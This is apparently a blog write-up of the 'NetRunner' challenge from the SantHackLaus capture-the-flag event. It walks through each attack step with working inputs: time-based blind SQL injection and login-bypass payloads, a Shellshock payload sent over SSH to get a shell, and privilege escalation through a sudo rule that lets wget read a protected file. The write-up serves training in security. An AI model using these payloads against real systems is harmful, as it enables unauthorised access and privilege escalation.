This post spoils a CTF challenge … Don’t read if you want to try it !

SantHackLaus is a Jeopardy CTF challenge. It is organized by IMT Lille Douai. I had a great time solving these challenges :D

NetRunner is a realistic challenge following the classic steps of an attack (Exploitation, Pivoting/Movement, Privilege Escalation).

[+] Part 1

Challenge starts at We are facing a basic login form :

Login form

Fuzzing wasn’t allowed, so after some basic checks, it appears that this login page is the only one we have.

Let’s inspect login requests with BurpSuite.

Login form burp

Request : username=test&password=test&login=Login
Response : {"return":"false","string":"Access Denied"}

After a few tries, it appears that this form is vulnerable to blind SQL injection. One way to extract the username and the password is to create a time-based payload like this :

Payload : username=test' OR user LIKE "aaa%" OR SLEEP(4)# ('%' is the wildcard in MySQL)
Request : username=test'%20OR%20user%20LIKE%20"aaa"%20OR%20SLEEP(4)#&password=test&login=Login

We can identify available columns and then extract data by viewing the response time for our requests.

Another possible exploitation is to simply bypass the login form without any data extraction :
Payload : username=test' OR 1=1 LIMIT 1,1#
Request : username=test'%20OR%201=1%20LIMIT%201,1#&password=test&login=Login

We can now access the admin page :

admin page

Flag 1 is : IMTLD{w3b_1nT3rf4ceS_4r3_3v1L}

[+] Part 2

We can notice that the admin username is “puppet-master”.
We also have access to another interesting page : e91ac60004c77904ad889a5762a68b06e53b7c21.html.

key page


This RSA private key can be used to connect through SSH with username “puppet-master”.
Let’s copy the key in a file and connect to the server !

SSH home

ssh puppet-master@ -p 2021 -i key.rsa

So, we can connect with SSH, we have a valid shell (not /bin/false), but it is configured to just run a script and exit, without letting us access the prompt.

The server is hopefully vulnerable to Shellshock !

SSH shellshock

ssh puppet-master@ -p 2021 -i key.rsa '() { a;}; echo Vulnerable !'

Let’s pop a shell and read the 2nd flag !

SSH shellshock2

ssh puppet-master@ -p 2021 -i key.rsa '() { a;}; /bin/sh'

Flag 2 is : IMTLD{Pr0t3ct_Y0uR_Gh0sT}

[+] Part 3

For the third flag, we need to read the tech.note file. To achieve this goal, we need to escalate our privileges from group “puppet-master” to group “zetatech-maintenance”.
In the client.note, one interesting detail we notice is that the password for our account is the same as the username …

After basic privilege escalation recon, we can notice that “puppet-master” is allowed to execute wget as “zetatech-maintenance” group member…

priv esc1

sudo -l -S # (-S option allow us to use sudo without tty)

Let’s dump the tech.note file. We will use wget -i option which use a file as a list of urls to read tech.note’s content.

priv esc1

sudo -S -g zetatech-maintenance wget -i ~/tech.note

Flag 3 is : IMTLD{Wh3r3_d03s_HuM4n1tY_3nd}

[+] Bye

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